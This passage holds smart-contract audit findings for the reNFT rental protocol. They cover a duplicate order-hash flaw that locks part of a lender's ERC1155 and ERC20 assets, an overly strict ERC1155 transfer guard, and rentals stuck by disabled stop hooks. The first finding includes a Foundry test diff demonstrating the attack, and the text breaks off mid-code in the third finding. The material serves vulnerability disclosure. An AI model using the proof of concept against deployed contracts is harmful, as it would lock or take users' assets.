reNFT - said's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L592-L595 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/Storage.sol#L189-L203 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L162-L195

Vulnerability details

Impact

If the lender creates an offer set to partial, the attacker can lock parts of the lender's assets inside the attacker's safe.

Proof of Concept

When reNFT zone validates the offer and create the rental, it will calculate order hash using _deriveRentalOrderHash, and add the rentals by calling STORE.addRentals to storage using the calculated hash.

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L592-L595

    function _rentFromZone(
        RentPayload memory payload,
        SeaportPayload memory seaportPayload
    ) internal {
        // Check: make sure order metadata is valid with the given seaport order zone hash.
        _isValidOrderMetadata(payload.metadata, seaportPayload.zoneHash);

        // Check: verify the fulfiller of the order is an owner of the recipient safe.
        _isValidSafeOwner(seaportPayload.fulfiller, payload.fulfillment.recipient);

        // Check: verify each execution was sent to the expected destination.
        _executionInvariantChecks(
            seaportPayload.totalExecutions,
            payload.fulfillment.recipient
        );

        // Check: validate and process seaport offer and consideration items based
        // on the order type.
        Item[] memory items = _convertToItems(
            seaportPayload.offer,
            seaportPayload.consideration,
            payload.metadata.orderType
        );

        // PAYEE orders are considered mirror-images of a PAY order. So, PAYEE orders
        // do not need to be processed in the same way that other order types do.
        if (
            payload.metadata.orderType.isBaseOrder() ||
            payload.metadata.orderType.isPayOrder()
        ) {
            // Create an accumulator which will hold all of the rental asset updates, consisting of IDs and
            // the rented amount. From this point on, new memory cannot be safely allocated until the
            // accumulator no longer needs to include elements.
            bytes memory rentalAssetUpdates = new bytes(0);

            // Check if each item is a rental. If so, then generate the rental asset update.
            // Memory will become safe again after this block.
            for (uint256 i; i < items.length; ++i) {
                if (items[i].isRental()) {
                    // Insert the rental asset update into the dynamic array.
                    _insert(
                        rentalAssetUpdates,
                        items[i].toRentalId(payload.fulfillment.recipient),
                        items[i].amount
                    );
                }
            }

            // Generate the rental order.
            RentalOrder memory order = RentalOrder({
                seaportOrderHash: seaportPayload.orderHash,
                items: items,
                hooks: payload.metadata.hooks,
                orderType: payload.metadata.orderType,
                lender: seaportPayload.offerer,
                renter: payload.intendedFulfiller,
                rentalWallet: payload.fulfillment.recipient,
                startTimestamp: block.timestamp,
                endTimestamp: block.timestamp + payload.metadata.rentDuration
            });

            // Compute the order hash.
>>>         bytes32 orderHash = _deriveRentalOrderHash(order);

            // Interaction: Update storage only if the order is a Base Order or Pay order.
>>>         STORE.addRentals(orderHash, _convertToStatic(rentalAssetUpdates));

            // Interaction: Increase the deposit value on the payment escrow so
            // it knows how many tokens were sent to it.
            for (uint256 i = 0; i < items.length; ++i) {
                if (items[i].isERC20()) {
                    ESCRW.increaseDeposit(items[i].token, items[i].amount);
                }
            }

            // Interaction: Process the hooks associated with this rental.
            if (payload.metadata.hooks.length > 0) {
                _addHooks(
                    payload.metadata.hooks,
                    seaportPayload.offer,
                    payload.fulfillment.recipient
                );
            }

            // Emit rental order started.
            _emitRentalOrderStarted(order, orderHash, payload.metadata.emittedExtraData);
        }
    }

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L162-L195

    function _deriveRentalOrderHash(
        RentalOrder memory order
    ) internal view returns (bytes32) {
        // Create arrays for items and hooks.
        bytes32[] memory itemHashes = new bytes32[](order.items.length);
        bytes32[] memory hookHashes = new bytes32[](order.hooks.length);

        // Iterate over each item.
        for (uint256 i = 0; i < order.items.length; ++i) {
            // Hash the item.
            itemHashes[i] = _deriveItemHash(order.items[i]);
        }

        // Iterate over each hook.
        for (uint256 i = 0; i < order.hooks.length; ++i) {
            // Hash the hook.
            hookHashes[i] = _deriveHookHash(order.hooks[i]);
        }

        return
            keccak256(
                abi.encode(
                    _RENTAL_ORDER_TYPEHASH,
                    order.seaportOrderHash,
                    keccak256(abi.encodePacked(itemHashes)),
                    keccak256(abi.encodePacked(hookHashes)),
                    order.orderType,
                    order.lender,
                    order.renter,
                    order.startTimestamp,
                    order.endTimestamp
                )
            );
    }

The problem is that if a lender's offer is created to support partial fills, the attacker can create multiple similar orders referring to the same seaportPayload.orderHash. Because the similar orders result in the same hash, the amount of assets that will be returned to the attacker for that hash will be only equal to the items[i].amount value of the order, while the remaining assets will be locked. Because the second time lender call stopRent it will revert caused by the rental status already removed.

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/Storage.sol#L216-L235

    function removeRentals(
        bytes32 orderHash,
        RentalAssetUpdate[] calldata rentalAssetUpdates
    ) external onlyByProxy permissioned {
        // The order must exist to be deleted.
        if (!orders[orderHash]) {
>>>         revert Errors.StorageModule_OrderDoesNotExist(orderHash);
        } else {
            // Delete the order from storage.
            delete orders[orderHash];
        }

        // Process each rental asset.
        for (uint256 i = 0; i < rentalAssetUpdates.length; ++i) {
            RentalAssetUpdate memory asset = rentalAssetUpdates[i];

            // Reduce the amount of tokens for the particular rental ID.
            rentedAssets[asset.rentalId] -= asset.amount;
        }
    }

Example Scenario :

Alice create PAY Offer that support partial fills consist of 2 ERC1155 and 100 ERC20 token A for the provided duration.

Bob fills the offer, by creating two similar partial fills, 1 ERC1155 and 50 ERC20.

Because the two offer result in the same order hash, when alice want to stop the rent, alice will only get 1 ERC1155 and 50 ERC20.

Coded PoC :

Modify the test files to the following :

diff --git a/test/fixtures/engine/OrderCreator.sol b/test/fixtures/engine/OrderCreator.sol
index 6cf6050..a4791d4 100644
--- a/test/fixtures/engine/OrderCreator.sol
+++ b/test/fixtures/engine/OrderCreator.sol
@@ -64,9 +64,10 @@ contract OrderCreator is BaseProtocol {
 
         // Define a standard OrderComponents struct which is ready for
         // use with the Create Policy and the protocol conduit contract
+        // PARTIAL_RESTRICTED from FULL_RESTRICTED
         OrderComponentsLib
             .empty()
-            .withOrderType(SeaportOrderType.FULL_RESTRICTED)
+            .withOrderType(SeaportOrderType.PARTIAL_RESTRICTED)
             .withZone(address(create))
             .withStartTime(block.timestamp)
             .withEndTime(block.timestamp + 100)
diff --git a/test/fixtures/engine/OrderFulfiller.sol b/test/fixtures/engine/OrderFulfiller.sol
index d61448a..5f12d23 100644
--- a/test/fixtures/engine/OrderFulfiller.sol
+++ b/test/fixtures/engine/OrderFulfiller.sol
@@ -113,6 +113,54 @@ contract OrderFulfiller is OrderCreator {
         );
     }
 
+    function createOrderFulfillmentPartial(
+        ProtocolAccount memory _fulfiller,
+        Order memory order,
+        bytes32 orderHash,
+        OrderMetadata memory metadata
+    ) internal {
+        // set the fulfiller account
+        fulfiller = _fulfiller;
+
+        // set the recipient of any offer items after an order is fulfilled. If the fulfillment is via
+        // `matchAdvancedOrders`, then any unspent offer items will go to this address as well
+        seaportRecipient = address(_fulfiller.safe);
+
+        // get a pointer to a new order to fulfill
+        OrderToFulfill storage orderToFulfill = ordersToFulfill.push();
+
+        // create an order fulfillment
+        OrderFulfillment memory fulfillment = OrderFulfillment(address(_fulfiller.safe));
+
+        // add the order hash and fulfiller
+        orderToFulfill.orderHash = orderHash;
+
+        // create rental zone payload data
+        _createRentalPayload(
+            orderToFulfill.payload,
+            RentPayload(fulfillment, metadata, block.timestamp + 100, _fulfiller.addr)
+        );
+
+        // generate the signature for the payload
+        bytes memory signature = _signProtocolOrder(
+            rentalSigner.privateKey,
+            create.getRentPayloadHash(orderToFulfill.payload)
+        );
+
+        // create an advanced order from the order. Pass the rental
+        // payload as extra data
+        _createAdvancedOrder(
+            orderToFulfill.advancedOrder,
+            AdvancedOrder(
+                order.parameters,
+                1,
+                2,
+                order.signature,
+                abi.encode(orderToFulfill.payload, signature)
+            )
+        );
+    }
+
     function _createOrderFulfiller(
         ProtocolAccount storage storageFulfiller,
         ProtocolAccount memory _fulfiller
@@ -323,6 +371,96 @@ contract OrderFulfiller is OrderCreator {
         }
     }
 
+    function _createRentalOrderPartial(
+        OrderToFulfill memory orderToFulfill
+    ) internal view returns (RentalOrder memory rentalOrder) {
+        // get the order parameters
+        OrderParameters memory parameters = orderToFulfill.advancedOrder.parameters;
+
+        // get the payload
+        RentPayload memory payload = orderToFulfill.payload;
+
+        // get the metadata
+        OrderMetadata memory metadata = payload.metadata;
+
+        // construct a rental order
+        rentalOrder = RentalOrder({
+            seaportOrderHash: orderToFulfill.orderHash,
+            items: new Item[](parameters.offer.length + parameters.consideration.length),
+            hooks: metadata.hooks,
+            orderType: metadata.orderType,
+            lender: parameters.offerer,
+            renter: payload.intendedFulfiller,
+            rentalWallet: payload.fulfillment.recipient,
+            startTimestamp: block.timestamp,
+            endTimestamp: block.timestamp + metadata.rentDuration
+        });
+
+        // for each new offer item being rented, create a new item struct to add to the rental order
+        for (uint256 i = 0; i < parameters.offer.length; i++) {
+            // PAYEE orders cannot have offer items
+            require(
+                metadata.orderType != OrderType.PAYEE,
+                "TEST: cannot have offer items in PAYEE order"
+            );
+
+            // get the offer item
+            OfferItem memory offerItem = parameters.offer[i];
+
+            // determine the item type
+            ItemType itemType = _seaportItemTypeToRentalItemType(offerItem.itemType);
+
+            // determine which entity the payment will settle to
+            SettleTo settleTo = offerItem.itemType == SeaportItemType.ERC20
+                ? SettleTo.RENTER
+                : SettleTo.LENDER;
+
+            // create a new rental item
+            rentalOrder.items[i] = Item({
+                itemType: itemType,
+                settleTo: settleTo,
+                token: offerItem.token,
+                amount: offerItem.startAmount / 2,
+                identifier: offerItem.identifierOrCriteria
+            });
+        }
+
+        // for each consideration item in return, create a new item struct to add to the rental order
+        for (uint256 i = 0; i < parameters.consideration.length; i++) {
+            // PAY orders cannot have consideration items
+            require(
+                metadata.orderType != OrderType.PAY,
+                "TEST: cannot have consideration items in PAY order"
+            );
+
+            // get the offer item
+            ConsiderationItem memory considerationItem = parameters.consideration[i];
+
+            // determine the item type
+            ItemType itemType = _seaportItemTypeToRentalItemType(
+                considerationItem.itemType
+            );
+
+            // determine which entity the payment will settle to
+            SettleTo settleTo = metadata.orderType == OrderType.PAYEE &&
+                considerationItem.itemType == SeaportItemType.ERC20
+                ? SettleTo.RENTER
+                : SettleTo.LENDER;
+
+            // calculate item index offset
+            uint256 itemIndex = i + parameters.offer.length;
+
+            // create a new payment item
+            rentalOrder.items[itemIndex] = Item({
+                itemType: itemType,
+                settleTo: settleTo,
+                token: considerationItem.token,
+                amount: considerationItem.startAmount,
+                identifier: considerationItem.identifierOrCriteria
+            });
+        }
+    }
+
     function _signProtocolOrder(
         uint256 signerPrivateKey,
         bytes32 payloadHash
@@ -526,20 +664,73 @@ contract OrderFulfiller is OrderCreator {
         }
         // otherwise, expect the relevant event to be emitted.
         else {
-            vm.expectEmit({emitter: address(create)});
-            emit Events.RentalOrderStarted(
-                create.getRentalOrderHash(payRentalOrder),
-                payOrder.payload.metadata.emittedExtraData,
-                payRentalOrder.seaportOrderHash,
-                payRentalOrder.items,
-                payRentalOrder.hooks,
-                payRentalOrder.orderType,
-                payRentalOrder.lender,
-                payRentalOrder.renter,
-                payRentalOrder.rentalWallet,
-                payRentalOrder.startTimestamp,
-                payRentalOrder.endTimestamp
-            );
+            // vm.expectEmit({emitter: address(create)});
+            // emit Events.RentalOrderStarted(
+            //     create.getRentalOrderHash(payRentalOrder),
+            //     payOrder.payload.metadata.emittedExtraData,
+            //     payRentalOrder.seaportOrderHash,
+            //     payRentalOrder.items,
+            //     payRentalOrder.hooks,
+            //     payRentalOrder.orderType,
+            //     payRentalOrder.lender,
+            //     payRentalOrder.renter,
+            //     payRentalOrder.rentalWallet,
+            //     payRentalOrder.startTimestamp,
+            //     payRentalOrder.endTimestamp
+            // );
+        }
+
+        // the offerer of the PAYEE order fulfills the orders.
+        vm.prank(fulfiller.addr);
+
+        // fulfill the orders
+        seaport.matchAdvancedOrders(
+            _deconstructOrdersToFulfill(),
+            new CriteriaResolver[](0),
+            seaportMatchOrderFulfillments,
+            seaportRecipient
+        );
+
+        // clear structs
+        resetFulfiller();
+        resetOrdersToFulfill();
+        resetSeaportMatchOrderFulfillments();
+    }
+
+    function _finalizePayOrderFulfillmentPartial(
+        bytes memory expectedError
+    )
+        private
+        returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
+    {
+        // get the orders to fulfill
+        OrderToFulfill memory payOrder = ordersToFulfill[0];
+        OrderToFulfill memory payeeOrder = ordersToFulfill[1];
+
+        // create rental orders
+        payRentalOrder = _createRentalOrderPartial(payOrder);
+        payeeRentalOrder = _createRentalOrder(payeeOrder);
+
+        // expect an error if error data was provided
+        if (expectedError.length != 0) {
+            vm.expectRevert(expectedError);
+        }
+        // otherwise, expect the relevant event to be emitted.
+        else {
+            // vm.expectEmit({emitter: address(create)});
+            // emit Events.RentalOrderStarted(
+            //     create.getRentalOrderHash(payRentalOrder),
+            //     payOrder.payload.metadata.emittedExtraData,
+            //     payRentalOrder.seaportOrderHash,
+            //     payRentalOrder.items,
+            //     payRentalOrder.hooks,
+            //     payRentalOrder.orderType,
+            //     payRentalOrder.lender,
+            //     payRentalOrder.renter,
+            //     payRentalOrder.rentalWallet,
+            //     payRentalOrder.startTimestamp,
+            //     payRentalOrder.endTimestamp
+            // );
         }
 
         // the offerer of the PAYEE order fulfills the orders.
@@ -566,6 +757,13 @@ contract OrderFulfiller is OrderCreator {
         (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(bytes(""));
     }
 
+    function finalizePayOrderFulfillmentPartial()
+    internal
+    returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
+{
+    (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillmentPartial(bytes(""));
+}
+
     function finalizePayOrderFulfillmentWithError(
         bytes memory expectedError
     )
diff --git a/test/integration/Rent.t.sol b/test/integration/Rent.t.sol
index 6c4c8d3..f20b299 100644
--- a/test/integration/Rent.t.sol
+++ b/test/integration/Rent.t.sol
@@ -13,6 +13,7 @@ import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStruct
 
 import {BaseTest} from "@test/BaseTest.sol";
 import {ProtocolAccount} from "@test/utils/Types.sol";
+import "@forge-std/console.sol";
 
 contract TestRent is BaseTest {
     function test_Success_Rent_BaseOrder_ERC721() public {
@@ -276,6 +277,135 @@ contract TestRent is BaseTest {
         assertEq(erc721s[0].ownerOf(0), address(bob.safe));
     }
 
+    function test_Success_Rent_PayOrder_Partial() public {
+        // create a PAY order
+        createOrder({
+            offerer: alice,
+            orderType: OrderType.PAY,
+            erc721Offers: 0,
+            erc1155Offers: 2,
+            erc20Offers: 1,
+            erc721Considerations: 0,
+            erc1155Considerations: 0,
+            erc20Considerations: 0
+        });
+
+        // finalize the pay order creation
+        (
+            Order memory payOrder,
+            bytes32 payOrderHash,
+            OrderMetadata memory payOrderMetadata
+        ) = finalizeOrder();
+
+        // create a PAYEE order. The fulfiller will be the offerer.
+        createOrder({
+            offerer: bob,
+            orderType: OrderType.PAYEE,
+            erc721Offers: 0,
+            erc1155Offers: 0,
+            erc20Offers: 0,
+            erc721Considerations: 0,
+            erc1155Considerations: 2,
+            erc20Considerations: 1
+        });
+
+        // finalize the pay order creation
+        (
+            Order memory payeeOrder,
+            bytes32 payeeOrderHash,
+            OrderMetadata memory payeeOrderMetadata
+        ) = finalizeOrder();
+
+        // create an order fulfillment for the pay order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payOrder,
+            orderHash: payOrderHash,
+            metadata: payOrderMetadata
+        });
+
+        // create an order fulfillment for the payee order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payeeOrder,
+            orderHash: payeeOrderHash,
+            metadata: payeeOrderMetadata
+        });
+
+        // add an amendment to include the seaport fulfillment structs
+        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});
+
+        // finalize the order pay/payee order fulfillment
+        (
+            RentalOrder memory payRentalOrder,
+            RentalOrder memory payeeRentalOrder
+        ) = finalizePayOrderFulfillment();
+
+
+        // get the rental order hashes
+        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);
+        bytes32 payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder);
+        console.log("first pay rental order : ");
+        console.logBytes32(payRentalOrderHash);
+        console.log("first payee rental order : ");
+        console.logBytes32(payeeRentalOrderHash);
+        // second time - my addition
+        // create an order fulfillment for the pay order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payOrder,
+            orderHash: payOrderHash,
+            metadata: payOrderMetadata
+        });
+
+        // create an order fulfillment for the payee order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payeeOrder,
+            orderHash: payeeOrderHash,
+            metadata: payeeOrderMetadata
+        });
+
+        // add an amendment to include the seaport fulfillment structs
+        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});
+
+        // finalize the order pay/payee order fulfillment
+        (
+            payRentalOrder,
+            payeeRentalOrder
+        ) = finalizePayOrderFulfillment();
+
+        // get the rental order hashes
+        payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);
+        payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder);
+        console.log("second pay rental order : ");
+        console.logBytes32(payRentalOrderHash);
+        console.log("second payee rental order : ");
+        console.logBytes32(payeeRentalOrderHash);
+        // second time - end
+
+        // assert that the rental order was stored
+        assertEq(STORE.orders(payRentalOrderHash), true);
+
+        // assert that the payee rental order was not put in storage
+        assertEq(STORE.orders(payeeRentalOrderHash), false);
+
+        // assert that the token is in storage
+        // assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);
+
+        // assert that the offerer made a payment
+        assertEq(erc20s[0].balanceOf(alice.addr), uint256(9900));
+
+        // assert that a payment was made to the escrow contract
+        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));
+
+        // assert that a payment was synced properly in the escrow contract
+        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100));
+
+        // assert that the ERC721 is in the rental wallet of the fulfiller
+        // assertEq(erc721s[0].ownerOf(0), address(bob.safe));
+    }
+
     // This test involves a PAY order where one of the items is left out of the PAYEE order.
     // Instead, the fulfiller attempts to use the `recipient` input parameter on `matchAdvancedOrders`
     // to try to send an asset to an unauthorized address
diff --git a/test/integration/StopRent.t.sol b/test/integration/StopRent.t.sol
index 3d19d3c..0cf67c2 100644
--- a/test/integration/StopRent.t.sol
+++ b/test/integration/StopRent.t.sol
@@ -7,6 +7,8 @@ import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStruct
 
 import {BaseTest} from "@test/BaseTest.sol";
 
+import "@forge-std/console.sol";
+
 contract TestStopRent is BaseTest {
     function test_StopRent_BaseOrder() public {
         // create a BASE order
@@ -245,6 +247,134 @@ contract TestStopRent is BaseTest {
         assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));
     }
 
+    function test_stopRent_payOrder_inFull_stoppedByRenter_Partial() public {
+        // create a PAY order
+        createOrder({
+            offerer: alice,
+            orderType: OrderType.PAY,
+            erc721Offers: 0,
+            erc1155Offers: 2,
+            erc20Offers: 1,
+            erc721Considerations: 0,
+            erc1155Considerations: 0,
+            erc20Considerations: 0
+        });
+
+        // finalize the pay order creation
+        (
+            Order memory payOrder,
+            bytes32 payOrderHash,
+            OrderMetadata memory payOrderMetadata
+        ) = finalizeOrder();
+
+        // create a PAYEE order. The fulfiller will be the offerer.
+        createOrder({
+            offerer: bob,
+            orderType: OrderType.PAYEE,
+            erc721Offers: 0,
+            erc1155Offers: 0,
+            erc20Offers: 0,
+            erc721Considerations: 0,
+            erc1155Considerations: 2,
+            erc20Considerations: 1
+        });
+
+        // finalize the pay order creation
+        (
+            Order memory payeeOrder,
+            bytes32 payeeOrderHash,
+            OrderMetadata memory payeeOrderMetadata
+        ) = finalizeOrder();
+
+        // create an order fulfillment for the pay order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payOrder,
+            orderHash: payOrderHash,
+            metadata: payOrderMetadata
+        });
+
+        // create an order fulfillment for the payee order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payeeOrder,
+            orderHash: payeeOrderHash,
+            metadata: payeeOrderMetadata
+        });
+
+        // add an amendment to include the seaport fulfillment structs
+        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});
+
+        // finalize the order pay/payee order fulfillment
+        (RentalOrder memory payRentalOrderFirst, ) = finalizePayOrderFulfillmentPartial();
+
+        // get the rental order hashes
+        bytes32 payRentalOrderHashFirst = create.getRentalOrderHash(payRentalOrderFirst);
+        console.log("first pay rental order : ");
+        console.logBytes32(payRentalOrderHashFirst);
+        console.log(STORE.orders(payRentalOrderHashFirst));
+        // second time - my addition
+        // create an order fulfillment for the pay order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payOrder,
+            orderHash: payOrderHash,
+            metadata: payOrderMetadata
+        });
+
+        // create an order fulfillment for the payee order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payeeOrder,
+            orderHash: payeeOrderHash,
+            metadata: payeeOrderMetadata
+        });
+
+        // add an amendment to include the seaport fulfillment structs
+        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});
+
+        // finalize the order pay/payee order fulfillment
+        (
+            RentalOrder memory payRentalOrderFirstSecond,
+        ) = finalizePayOrderFulfillmentPartial();
+
+        // get the rental order hashes
+        console.log("second pay rental order : ");
+        bytes32 payRentalOrderHashSecond = create.getRentalOrderHash(payRentalOrderFirstSecond);
+        console.logBytes32(payRentalOrderHashSecond);
+        console.log(STORE.orders(payRentalOrderHashSecond));
+        // second time - end
+
+        // speed up in time past the rental expiration
+        vm.warp(block.timestamp + 750);
+
+        // stop the rental order
+        vm.prank(bob.addr);
+        stop.stopRent(payRentalOrderFirst);
+        vm.expectRevert();
+        stop.stopRent(payRentalOrderFirstSecond);
+
+        // assert that the rental order doesnt exist in storage
+        assertEq(STORE.orders(payRentalOrderHashFirst), false);
+
+        // assert that the token is still mark as rented due to amount still exist in storage
+        assertEq(STORE.isRentedOut(address(bob.safe), address(erc1155s[0]), 0), true);
+        assertEq(STORE.isRentedOut(address(bob.safe), address(erc1155s[1]), 0), true);
+
+        // assert that the ERC1155 is back to alice only half of them
+        assertEq(erc1155s[0].balanceOf(address(alice.addr), 0), uint256(50));
+        assertEq(erc1155s[1].balanceOf(address(alice.addr), 0), uint256(50));
+
+        // assert that the offerer made a payment
+        assertEq(erc20s[0].balanceOf(alice.addr), uint256(9900));
+
+        // assert that the fulfiller received the payment
+        assertEq(erc20s[0].balanceOf(bob.addr), uint256(10050));
+
+        // assert that a payment was pulled from the escrow contract
+        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(50));
+    }
+
     function test_stopRent_payOrder_proRata_stoppedByLender() public {
         // create a PAY order
         createOrder({

Run the test :

forge test -vv --match-contract TestStopRent --match-test test_stopRent_payOrder_inFull_stoppedByRenter_Partial

From the test, it can be observed that half of the lender's assets are locked, and the order cannot be stopped even after the rent duration has passed.

Tools Used

Manual review.

Recommended Mitigation Steps

Introduce nonce when calculating orderHash, to ensure every order will always unique.

Assessed type

Invalid Validation

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L235-L242

Vulnerability details

Impact

ERC1155 safeTransferFrom check inside Guard's checkTransaction is too restrictive and not considering the amount of token that is currently active on rental.

Proof of Concept

If safe owner want to move ERC1155 from the safe, it will check if the ERC1155 token is currently is an active rental item.

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L235-L242

    function _checkTransaction(address from, address to, bytes memory data) private view {
        bytes4 selector;

        // Load in the function selector.
        assembly {
            selector := mload(add(data, 0x20))
        }

        // ...
>>>     } else if (selector == e1155_safe_transfer_from_selector) {
            // Load the token ID from calldata.
            uint256 tokenId = uint256(
                _loadValueFromCalldata(data, e1155_safe_transfer_from_token_id_offset)
            );

            // Check if the selector is allowed.
>>>         _revertSelectorOnActiveRental(selector, from, to, tokenId);
        } else if (selector == gnosis_safe_enable_module_selector) {
            // Load the extension address from calldata.
            address extension = address(
                uint160(
                    uint256(
                        _loadValueFromCalldata(data, gnosis_safe_enable_module_offset)
                    )
                )
            );

            // Check if the extension is whitelisted.
            _revertNonWhitelistedExtension(extension);
        } else if (selector == gnosis_safe_disable_module_selector) {
            // Load the extension address from calldata.
            address extension = address(
                uint160(
                    uint256(
                        _loadValueFromCalldata(data, gnosis_safe_disable_module_offset)
                    )
                )
            );

            // Check if the extension is whitelisted.
            _revertNonWhitelistedExtension(extension);
        } else {
            // Revert if the `setApprovalForAll` selector is specified. This selector is
            // shared between ERC721 and ERC1155 tokens.
            if (selector == shared_set_approval_for_all_selector) {
                revert Errors.GuardPolicy_UnauthorizedSelector(
                    shared_set_approval_for_all_selector
                );
            }

            // Revert if the `safeBatchTransferFrom` selector is specified. There's no
            // cheap way to check if individual items in the batch are rented out.
            // Each token ID would require a call to the storage contract to check
            // its rental status.
            if (selector == e1155_safe_batch_transfer_from_selector) {
                revert Errors.GuardPolicy_UnauthorizedSelector(
                    e1155_safe_batch_transfer_from_selector
                );
            }

            // Revert if the `setGuard` selector is specified.
            if (selector == gnosis_safe_set_guard_selector) {
                revert Errors.GuardPolicy_UnauthorizedSelector(
                    gnosis_safe_set_guard_selector
                );
            }
        }
    }

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L126-L136

    function _revertSelectorOnActiveRental(
        bytes4 selector,
        address safe,
        address token,
        uint256 tokenId
    ) private view {
        // Check if the selector is allowed.
        if (STORE.isRentedOut(safe, token, tokenId)) {
            revert Errors.GuardPolicy_UnauthorizedSelector(selector);
        }
    }

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/Storage.sol#L118-L128

    function isRentedOut(
        address recipient,
        address token,
        uint256 identifier
    ) external view returns (bool) {
        // calculate the rental ID
        RentalId rentalId = RentalUtils.getItemPointer(recipient, token, identifier);

        // Determine if there is a positive amount
        return rentedAssets[rentalId] != 0;
    }

The current check is too restrictive and does not consider the actual amount of rentedAssets for the corresponding rentalId. For instance, if a safe holds 100 units of ERC1155 corresponding to the tokenId, and only 10 of them are rented assets, the check prevents the transfer of the 90 units out of the safe, even though they are not rented assets.

Tools Used

Manual review

Recommended Mitigation Steps

For ERC1155, check the actual rentedAssets amount and compare to the amount that safe want to transfer.

Assessed type

Invalid Validation

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L288-L290 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L210-L212

Vulnerability details

Impact

Hooks are a part of the order that remains the same throughout the entire rent lifecycle (create and stop). Hooks can be configured to be called on start or stop, or they can be removed completely. If hooks are not configured on stop or are removed entirely, rents that depend on them could become stuck and cannot be stopped.

Proof of Concept

Hooks can be configured by guard admin, to disable/enable on start/stop, or remove it completely.

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L373-L378

    function updateHookStatus(
        address hook,
        uint8 bitmap
    ) external onlyRole("GUARD_ADMIN") {
        STORE.updateHookStatus(hook, bitmap);
    }

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/Storage.sol#L313-L326

    function updateHookStatus(
        address hook,
        uint8 bitmap
    ) external onlyByProxy permissioned {
        // Require that the `hook` address is a contract.
        if (hook.code.length == 0) revert Errors.StorageModule_NotContract(hook);

        // 7 is 0x00000111. This ensures that only a valid bitmap can be set.
        if (bitmap > uint8(7))
            revert Errors.StorageModule_InvalidHookStatusBitmap(bitmap);

        // Update the status of the hook.
        hookStatus[hook] = bitmap;
    }

When stopRent/stopRentBatch is called, it will eventually call _removeHooks and trigger each hook :

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L210-L212

    function _removeHooks(
        Hook[] calldata hooks,
        Item[] calldata rentalItems,
        address rentalWallet
    ) internal {
        // Define hook target, item index, and item.
        address target;
        uint256 itemIndex;
        Item memory item;

        // Loop through each hook in the payload.
        for (uint256 i = 0; i < hooks.length; ++i) {
            // Get the hook address.
            target = hooks[i].target;

            // Check that the hook is reNFT-approved to execute on rental stop.
>>>         if (!STORE.hookOnStop(target)) {
                revert Errors.Shared_DisabledHook(target);
            }

            // Get the rental item index for this hook.
            itemIndex = hooks[i].itemIndex;

            // Get the rental item for this hook.
            item = rentalItems[itemIndex];

            // Make sure the item is a rented item.
            if (!item.isRental()) {
                revert Errors.Shared_NonRentalHookItem(itemIndex);
            }

            // Call the hook with data about the rented item.
            try
                IHook(target).onStop(
                    rentalWallet,
                    item.token,
                    item.identifier,
                    item.amount,
                    hooks[i].extraData
                )
            {} catch Error(string memory revertReason) {
                // Revert with reason given.
                revert Errors.Shared_HookFailString(revertReason);
            } catch Panic(uint256 errorCode) {
                // Convert solidity panic code to string.
                string memory stringErrorCode = LibString.toString(errorCode);

                // Revert with panic code.
                revert Errors.Shared_HookFailString(
                    string.concat("Hook reverted: Panic code ", stringErrorCode)
                );
